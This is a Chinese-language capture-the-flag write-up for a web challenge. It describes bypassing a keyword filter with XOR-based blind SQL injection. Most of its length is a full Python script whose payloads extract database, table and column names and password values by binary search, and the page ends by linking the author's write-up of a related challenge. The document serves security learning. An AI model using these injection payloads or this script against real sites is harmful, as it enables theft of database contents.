1、首先打开题目如下:
2、寻找注入点,点击神秘代码发现会返回不同的信息,然后尝试union、and等关键字发现被屏蔽,如下:
3、关键词被过滤了,使用不了报错注入、联合注入、bool注入,因此想到了异或注入,经过尝试发现^符号未被过滤,(1^2=3),如下:
4、发现了注入点就需要进行尝试去编写脚本去获取数据库名称、表名称、列名称、数据库内的值,因为这里与[WUSTCTF2020]颜值成绩查询-1关卡类似,其脚本语言也是类似,在做[WUSTCTF2020]颜值成绩查询-1关卡时已写过一遍获取flag的脚本,因此这里直接在网上查找了下,最终通过以下脚本获取到flag值,脚本和结果如下:
import time import requests url = "http://e92fadb9-dc06-4156-8184-cb5346128636.node4.buuoj.cn:81/search.php" flag = '' for i in range(1,300): low = 32 high = 127 while low < high: mid = (low+high)//2 # database = "?id=1^(ord(substr((select(database())),%d,1))>%d)^1" % (i, mid) # tables = "?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,mid) # columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,mid) data = "?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid) # 根据需要查询的内容改变get中的参数 r = requests.get(url=url+data) if 'Click' in r.text: low = mid + 1 else: high = mid time.sleep(0.1) flag += chr(low) print("\r", end="") print(flag,end='')
强烈推荐完成此关卡之后去学习下:[WUSTCTF2020]颜值成绩查询-1关卡,这里是记录的自己的[WUSTCTF2020]颜值成绩查询-1关卡通关过程,包含每一步的思路和判断,最后的代码只需要执行就可获取flag:https://www.cnblogs.com/upfine/p/16367693.html